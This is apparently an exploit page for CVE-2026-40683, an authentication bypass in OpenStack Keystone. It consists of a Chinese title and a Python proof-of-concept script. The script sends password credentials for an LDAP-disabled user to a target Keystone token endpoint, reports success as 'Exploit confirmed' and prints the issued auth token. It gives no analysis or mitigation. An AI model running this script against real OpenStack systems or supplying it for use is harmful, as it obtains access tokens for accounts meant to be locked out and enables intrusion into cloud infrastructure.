CVE-2026-40683 OpenStack Keystone认证绕过漏洞

# PoC for CVE-2026-40683 # This script demonstrates the authentication bypass using a disabled LDAP user. import requests # Target Keystone endpoint keystone_url = "http://target-openstack:5000/v3/auth/tokens" # Credentials of a user marked as "FALSE" (disabled) in LDAP username = "disabled_user" password = "user_password" domain_name = "Default" payload = { "auth": { "identity": { "methods": ["password"], "password": { "user": { "name": username, "password": password, "domain": { "name": domain_name } } } } } } try: # Send authentication request response = requests.post(keystone_url, json=payload) if response.status_code == 201: print("[+] Authentication Successful! Exploit confirmed.") print("[+] Token:", response.headers.get('X-Subject-Token')) else: print("[-] Authentication Failed or unexpected response.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] Error: {e}")